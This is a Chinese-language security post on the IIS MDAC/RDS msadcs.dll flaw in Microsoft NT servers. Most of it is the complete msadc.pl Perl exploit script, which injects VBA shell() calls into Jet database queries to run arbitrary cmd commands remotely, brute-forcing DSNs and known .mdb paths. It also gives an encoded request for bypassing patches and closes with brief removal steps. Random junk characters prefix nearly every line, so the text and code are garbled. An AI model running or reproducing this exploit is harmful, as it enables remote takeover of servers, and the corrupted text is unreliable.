IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
A=y24m [@jp9D
H 涉及程序:
@b4b{d5[ Microsoft NT server
zR_9D} ^o,y5, 描述:
;H`=):U 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Ti /;|lP@ ,80jMs 详细:
f45x%tha % 如果你没有时间读详细内容的话,就删除:
tPQ2kEW c:\Program Files\Common Files\System\Msadc\msadcs.dll
PsacXZNs\N 有关的安全问题就没有了。
NWaI[P }kpfJLjY 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
}x>}:"P;W !x+MVJ] 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
`W6:=H 关于利用ODBC远程漏洞的描述,请参看:
Be'?#Qe _Jt_2o%G http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm )WzGy~p8K \;4L~_2$q 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
9N`+ O http://www.microsoft.com/security/bulletins/MS99-025faq.asp \>&@lA }mkA Hmu4 这里不再论述。
q=(M!9cE t"jIfU>'a/ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
o%y+Y;|?J bL6L-S /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
ufHuI* 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
6yV5Yjs ot&j HS' ;))[P_$zB #将下面这段保存为txt文件,然后: "perl -x 文件名"
9J't[(
u|u qen44;\L #!perl
WMt&8W5 #
vY8WqG] # MSADC/RDS 'usage' (aka exploit) script
^'
edE5 #
/TR"\xQF # by rain.forest.puppy
qJe&jLZa #
g^Ugl=f, # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
/S-/SF:>g # beta test and find errors!
n#/U@qVgc v]UU&Jq8U use Socket; use Getopt::Std;
lyMJW}T+> getopts("e:vd:h:XR", \%args);
3 LZL!^ 5N [M,27 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
)eIz{Mdp= Iqe=#hUFe! if (!defined $args{h} && !defined $args{R}) {
0jl:Yzo&\ print qq~
RBMMXJj Usage: msadc.pl -h <host> { -d <delay> -X -v }
N?Z+zN&P -h <host> = host you want to scan (ip or domain)
U~JG1#z6 -d <seconds> = delay between calls, default 1 second
f
z/?= -X = dump Index Server path table, if available
g~i''lng -v = verbose
?(|TP^ -e = external dictionary file for step 5
9OO0Ht4j i75?*ld Or a -R will resume a command session
,Jw\3T1V .~V".tZV[ ~; exit;}
x0TnS# 3\+[38 _ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
VdjU2d
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;'Z,[ a if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Q9Xmb2LN if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
]e#,\})Br $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
6w:g77SH)% if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
-Lz1#S k]A Z]1z*dv if (!defined $args{R}){ $ret = &has_msadc;
^HOwN<}`# die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
sk%:Sp !$ J) print "Please type the NT commandline you want to run (cmd /c assumed):\n"
wAj(v6 . "cmd /c ";
Y;%R/OyWY $in=<STDIN>; chomp $in;
ajcPt]f $command="cmd /c " . $in ;
t6H2tP\AS pE YrmC if (defined $args{R}) {&load; exit;}
lL(}dbT~N 80R=r print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
+lXdRc`6 &try_btcustmr;
qAuUe=w%p =_H*fhXS print "\nStep 2: Trying to make our own DSN...";
ux/[d6To &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
7kWZMi ;{F;e)${M print "\nStep 3: Trying known DSNs...";
o#KPrW`XJ/ &known_dsn;
4,R\3`b ?L~=Z\H print "\nStep 4: Trying known .mdbs...";
)=SYJ-ta< &known_mdb;
\e5,` JVIcNK) if (defined $args{e}){
"8C(_z+]K` print "\nStep 5: Trying dictionary of DSN names...";
OA8b_k~ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
F~uA-g SjNwT[.nr7 print "Sorry Charley...maybe next time?\n";
G+\~rl exit;
!]jNVg r)Mx.`d! ##############################################################################
3<1HqU R;Ix<y{U sub sendraw { # ripped and modded from whisker
DlQ[}5STF sleep($delay); # it's a DoS on the server! At least on mine...
C>(M+qXL+ my ($pstr)=@_;
*Tlws socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
)MX1776kU die("Socket problems\n");
?-6x]l=] if(connect(S,pack "SnA4x8",2,80,$target)){
O}\"$n> select(S); $|=1;
X
G@>1/ print $pstr; my @in=<S>;
pN^G[ select(STDOUT); close(S);
szM=U$jKq return @in;
U
mx } else { die("Can't connect...\n"); }}
Ms$7E R~seUW7uv" ##############################################################################
UdM5R
[ H&>>]DD sub make_header { # make the HTTP request
lG^mW\O my $msadc=<<EOT
L-X
_b3E\ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
3\U,Kg User-Agent: ACTIVEDATA
?U.&7yY Host: $ip
Bbe/w#Z Content-Length: $clen
y0mg}N1 Connection: Keep-Alive
uzn))/" /EAQ.vxI ADCClientVersion:01.06
N6 }i>";_; Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
kI1{>vYD
vGLb2Q --!ADM!ROX!YOUR!WORLD!
iTBhLg, Content-Type: application/x-varg
^Ihdq89 t Content-Length: $reqlen
JcALFKLB "=5vgg3 EOT
<xh'@592 ; $msadc=~s/\n/\r\n/g;
=ym~=
S return $msadc;}
%+OPas8C cK} ##############################################################################
6;=wuoJi _$jJpy sub make_req { # make the RDS request
!E.lyz my ($switch, $p1, $p2)=@_;
MsiC!j.- my $req=""; my $t1, $t2, $query, $dsn;
Zo638*32 tZ{q\+h if ($switch==1){ # this is the btcustmr.mdb query
|(8Hk@\CT> $query="Select * from Customers where City=" . make_shell();
MH~qfH>K $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
`?S?)0B $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
5t1DB'K9$_ f`";Q/rG elsif ($switch==2){ # this is general make table query
>~bj7M6t $query="create table AZZ (B int, C varchar(10))";
kGTc~p( $dsn="$p1";}
#,9TJ:~N 7J_f/st elsif ($switch==3){ # this is general exploit table query
YNQ6(HA $query="select * from AZZ where C=" . make_shell();
vYm&AD $dsn="$p1";}
{,mRMDEy v}*u[GWl] elsif ($switch==4){ # attempt to hork file info from index server
w!9W Cl]9M $query="select path from scope()";
"l;8
O2;g $dsn="Provider=MSIDXS;";}
xTawG?"D l$~bkVNL elsif ($switch==5){ # bad query
7|eSvC $query="select";
OU3+SYM $dsn="$p1";}
{zN_l! 5$G??="K $t1= make_unicode($query);
qA\kx#v]P $t2= make_unicode($dsn);
eJ\j{- $req = "\x02\x00\x03\x00";
BNm va $req.= "\x08\x00" . pack ("S1", length($t1));
5 9J$SE $req.= "\x00\x00" . $t1 ;
umn~hb5O $req.= "\x08\x00" . pack ("S1", length($t2));
)PATz
# $req.= "\x00\x00" . $t2 ;
U=#ylQ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Z1lF[d,f; return $req;}
U$JIF/MO_ WsDe0F ##############################################################################
>\x
39B X|B;>q sub make_shell { # this makes the shell() statement
< 3+&DV-<N return "'|shell(\"$command\")|'";}
h}<ZZ 5Cyjq0+ ##############################################################################
t4c#' y h9smviU7u sub make_unicode { # quick little function to convert to unicode
J#Ehx| my ($in)=@_; my $out;
bvRGTOxO for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
>"{zrwNq return $out;}
!OVEA^6 kxf=%<l ##############################################################################
s^@Cq= k_^/ sub rdo_success { # checks for RDO return success (this is kludge)
_5`S)G{ my (@in) = @_; my $base=content_start(@in);
54DR .>O if($in[$base]=~/multipart\/mixed/){
X',0MBQ0 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
q _|5,_a return 0;}
2/q=l? ]<z(Rmn`Q ##############################################################################
ffd3QQ ]c=1-Rl sub make_dsn { # this makes a DSN for us
v!9Imf my @drives=("c","d","e","f");
O;t?@!_ print "\nMaking DSN: ";
G6bg ~V5Q: foreach $drive (@drives) {
Vxs`w print "$drive: ";
^b.
MR ?9 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
t"vO&+x "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Z6@J-<u . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
'yjH~F. $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
!#s7 F return 0 if $2 eq "404"; # not found/doesn't exist
O +}EE^*a if($2 eq "200") {
Rw8m5U foreach $line (@results) {
&nw~gSe return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Ou,_l } return 0;}
ZTC1t_ V
*y ##############################################################################
2,nCGSfc d+ko"F| sub verify_exists {
jc`',o'[+ my ($page)=@_;
Hxi=\2- my @results=sendraw("GET $page HTTP/1.0\n\n");
<s3( return $results[0];}
JLn<,Gn)<\ 9?,.zc^ ##############################################################################
z5'nS&x Z-!T(:E] sub try_btcustmr {
[&s:x, my @drives=("c","d","e","f");
eakIK+-21y my @dirs=("winnt","winnt35","winnt351","win","windows");
4x=Y9w0?8 DCUq.q) foreach $dir (@dirs) {
bj{f[nZ d print "$dir -> "; # fun status so you can see progress
dV foreach $drive (@drives) {
hkI);M+@6 print "$drive: "; # ditto
QLg9aG| $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Xe+FMbBco $reqlenlen=length( "$reqlen" );
;>Qd )' $clen= 206 + $reqlenlen + $reqlen;
ha~s<
I N,$o'\l my @results=sendraw(make_header() . make_req(1,$drive,$dir));
shZ<j7gqI if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
8QBL:7< else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
6\@, Lb DK%eFCo<~ ##############################################################################
zD-8#H35X" 1e} 3L2rC sub odbc_error {
M3`A&*\; my (@in)=@_; my $base;
K a|\gl;V my $base = content_start(@in);
HE'8 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
y@JYkp>I $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]zY'w,?D\F $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>L4$DKO $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/MtacR return $in[$base+4].$in[$base+5].$in[$base+6];}
7?] p\` print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ob
#XKL print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
FR"^?z?}p $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
.CpO+z l/NK.Jr ##############################################################################
X\RTHlw'] !YHu sub verbose {
ZW%`G@d"H- my ($in)=@_;
1X.1t^HH: return if !$verbose;
J)NpG9iN print STDOUT "\n$in\n";}
HArYL}l eO G%6C%a ##############################################################################
)>p6h]]a >FNt*tX<0 sub save {
6P|neb} my ($p1, $p2, $p3, $p4)=@_;
]Jqe)o open(OUT, ">rds.save") || print "Problem saving parameters...\n";
#9Z-Hd< print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
ztpb/9J9 close OUT;}
k]g\`
gc {jG`l$$ ##############################################################################
,cEcMaJ gK#w$s50 sub load {
8ipLq`) my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[NcOk, open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Pme?`YO$x @p=<IN>; close(IN);
9Z
4R!Q $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
i-b7 $target= inet_aton($ip) || die("inet_aton problems");
)`-]nMc print "Resuming to $ip ...";
$)V4Eu; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Km-B=6*QY if($p[1]==1) {
Wz]S+IpY $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
<
.!3yy $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
iN*@f8gf my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
bP@_4Dy if (rdo_success(@results)){print "Success!\n";}
bHnQLJ else { print "failed\n"; verbose(odbc_error(@results));}}
06$9Uz9 elsif ($p[1]==3){
P0=F9`3wb if(run_query("$p[3]")){
h@d
m:=ul print "Success!\n";} else { print "failed\n"; }}
C-Z,L# elsif ($p[1]==4){
}1dh/Cc` if(run_query($drvst . "$p[3]")){
Tp13V.| print "Success!\n"; } else { print "failed\n"; }}
i\G3
u# exit;}
_T$\$v$ { T-TH.
R ##############################################################################
-C+vmY*@ tS7u#YMh sub create_table {
3F1Z$d( my ($in)=@_;
e hq6.+l $reqlen=length( make_req(2,$in,"") ) - 28;
}o4Cd$,8 $reqlenlen=length( "$reqlen" );
M<Mr (z $clen= 206 + $reqlenlen + $reqlen;
kn\>ZgU my @results=sendraw(make_header() . make_req(2,$in,""));
Y')+/<Q2E return 1 if rdo_success(@results);
b'YbHUyu my $temp= odbc_error(@results); verbose($temp);
M&dtXG8<^ return 1 if $temp=~/Table 'AZZ' already exists/;
7SCI_8` return 0;}
}0G Ab2 -tQ|&fl ##############################################################################
7@?b _ )EoG@:[ sub known_dsn {
BR'|hG # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
A-FwNo2"% my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
0"N %Vm "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
w6_}]
&F "banner", "banners", "ads", "ADCDemo", "ADCTest");
f7'%AuSQ( guvQISQlY foreach $dSn (@dsns) {
j^.P=; print ".";
\bfHGo= next if (!is_access("DSN=$dSn"));
RAC-;~$WB if(create_table("DSN=$dSn")){
./d ( @@ print "$dSn successful\n";
?x@khzk if(run_query("DSN=$dSn")){
$/H'Dt6x print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
G.}yNjL8 print "Something's borked. Use verbose next time\n";}}} print "\n";}
@w0[5ZAj ?*4zNhL ##############################################################################
"^H+A-R[ \<} nn?~n sub is_access {
L;"<8\vWB my ($in)=@_;
jo^*R'} $reqlen=length( make_req(5,$in,"") ) - 28;
i*<,@* $reqlenlen=length( "$reqlen" );
fVM%.` $clen= 206 + $reqlenlen + $reqlen;
CvN~ my @results=sendraw(make_header() . make_req(5,$in,""));
?HY0@XILI my $temp= odbc_error(@results);
w9%gaK; verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<_![~n$H return 0;}
Q$%@.@ c.fj[U|j ##############################################################################
d,77L O,cx9N sub run_query {
($wYawz my ($in)=@_;
=EKJ!{ $reqlen=length( make_req(3,$in,"") ) - 28;
DQ)SMqOotw $reqlenlen=length( "$reqlen" );
MD7[}cB $clen= 206 + $reqlenlen + $reqlen;
1 .M?Hp9i my @results=sendraw(make_header() . make_req(3,$in,""));
j*5VJ: return 1 if rdo_success(@results);
e([&Nr8h my $temp= odbc_error(@results); verbose($temp);
\ *2IU"R return 0;}
fHigLL0B \&H%k ##############################################################################
RA6D dqT~ C\{4<:<_& sub known_mdb {
!cZsIcIe my @drives=("c","d","e","f","g");
r!#3>F;B my @dirs=("winnt","winnt35","winnt351","win","windows");
H2]I__t/u my $dir, $drive, $mdb;
NQG"}=KA my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Lh}he:k+ wb}tN7~Y; # this is sparse, because I don't know of many
F!xK#~e my @sysmdbs=( "\\catroot\\icatalog.mdb",
sR6(8 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
%_
~[+~# "\\system32\\certmdb.mdb",
0e7!_/9 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
YblRwic ;Y"J j my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Ol? 2Qy.2) "\\cfusion\\cfapps\\forums\\forums_.mdb",
.#n?^73 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
n'ro5D "\\cfusion\\cfapps\\security\\realm_.mdb",
DB0xIP~i,? "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Z|W=.RdA; "\\cfusion\\database\\cfexamples.mdb",
Z8T{Xw6% "\\cfusion\\database\\cfsnippets.mdb",
0pR04"`; "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
;Gi w7a) "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
SCjACQ}- "\\cfusion\\brighttiger\\database\\cleam.mdb",
EP[
gq "\\cfusion\\database\\smpolicy.mdb",
~K[rQ "\\cfusion\\database\cypress.mdb",
*=v
RX!sI, "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
?sO_c3^7z "\\website\\cgi-win\\dbsample.mdb",
5?b9[o+D "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
9K49<u0O "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
c_iF S ); #these are just
\c]/4C +/ foreach $drive (@drives) {
1$^{Uma foreach $dir (@dirs){
8p
FSm> foreach $mdb (@sysmdbs) {
R:e:B7O~0 print ".";
<ygO?m{ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
"CaVT7L print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
pQp}HD!- if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
|"mb59X print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Rww KPE } else { print "Something's borked. Use verbose next time\n"; }}}}}
Cpj_mMtu .C#}g foreach $drive (@drives) {
\||PW58j foreach $mdb (@mdbs) {
dw&Xg_$ print ".";
eN$~@'w if(create_table($drv . $drive . $dir . $mdb)){
WFkXz*7B print "\n" . $drive . $dir . $mdb . " successful\n";
=y':VIVJC if(run_query($drv . $drive . $dir . $mdb)){
68y.yX[ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
=3"Nn4Z } else { print "Something's borked. Use verbose next time\n"; }}}}
pK3cg|} }
DGU$3w '~@WJKk ##############################################################################
yqK82z5U*R p])km%zB( sub hork_idx {
<W?,n% print "\nAttempting to dump Index Server tables...\n";
u&qdrKx print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Bq!P.%6p4 $reqlen=length( make_req(4,"","") ) - 28;
S2*:]pYf} $reqlenlen=length( "$reqlen" );
8ZN J} $clen= 206 + $reqlenlen + $reqlen;
MT9a 1 > my @results=sendraw2(make_header() . make_req(4,"",""));
[)*fN|Hy if (rdo_success(@results)){
{>z.y1 my $max=@results; my $c; my %d;
PXkPC%j for($c=19; $c<$max; $c++){
.VUZ4e
$results[$c]=~s/\x00//g;
ENGw < $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&~k/G $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
V=YK3){>A $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
PY^Yx$t9 $d{"$1$2"}="";}
?FA:K0H?zl foreach $c (keys %d){ print "$c\n"; }
%B~`bUHjq } else {print "Index server doesn't seem to be installed.\n"; }}
SQeQ"k|P% 34oC285yc ##############################################################################
oreSu;`$ cZwQ{9> sub dsn_dict {
D^A_ 0@ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
_
pJU~8 while(<IN>){
0nv3JX^l] $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
"evLI? next if (!is_access("DSN=$dSn"));
|6&"r& if(create_table("DSN=$dSn")){
sOHh&e print "$dSn successful\n";
pZH
bj2~ if(run_query("DSN=$dSn")){
$)'{+1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-du+iOe? print "Something's borked. Use verbose next time\n";}}}
J|ILG print "\n"; close(IN);}
DF|qNX )ow 3Bl8w ##############################################################################
.z_^_@qdm 2/;KZ+U& sub sendraw2 { # ripped and modded from whisker
_-D(N/ sleep($delay); # it's a DoS on the server! At least on mine...
ic3qb<2 my ($pstr)=@_;
ALKhZFuz socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
(Q@m;i> die("Socket problems\n");
o]]Q7S= if(connect(S,pack "SnA4x8",2,80,$target)){
4TLh'?Xu9 print "Connected. Getting data";
i} q6^;uTF open(OUT,">raw.out"); my @in;
_gc2h@x1O select(S); $|=1; print $pstr;
]03!KE while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
>_5D`^ close(OUT); select(STDOUT); close(S); return @in;
M5<5(l } else { die("Can't connect...\n"); }}
sx/g5?zh 72PDqK# ##############################################################################
*fjarZu xd>2TW l# sub content_start { # this will take in the server headers
's
e9|: my (@in)=@_; my $c;
J+9D/VT for ($c=1;$c<500;$c++) {
HHX9QebiST if($in[$c] =~/^\x0d\x0a/){
A\=:h AQ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
0AaN else { return $c+1; }}}
1s*I
return -1;} # it should never get here actually
ftK.jj1: }$b/g ##############################################################################
/WM
: Bj >CYg\vas! sub funky {
>s1HQSe66 my (@in)=@_; my $error=odbc_error(@in);
h<6r+*T' p if($error=~/ADO could not find the specified provider/){
E[$['0 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
@
#V31im"N exit;}
-8EdTc@ if($error=~/A Handler is required/){
%D&FnTa print "\nServer has custom handler filters (they most likely are patched)\n";
#Uudx~b exit;}
l]%|w]i\ if($error=~/specified Handler has denied Access/){
//WgK{Mt print "\nServer has custom handler filters (they most likely are patched)\n";
| o+vpy exit;}}
mhcJ0\@_ eqLETo@} * ##############################################################################
ntjUnd&v\ +[cm sub has_msadc {
MT0}MMr my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
[7$<sN<' my $base=content_start(@results);
uH]^/'8vBd return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
yLI=&7/e@ return 0;}
F9d][ P@@ ~)()PO ########################
)hn,rmn
(P !'+t)h9^ )`g[k"yB3 解决方案:
&*0!${B 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
of(Nq@ 2、移除web 目录: /msadc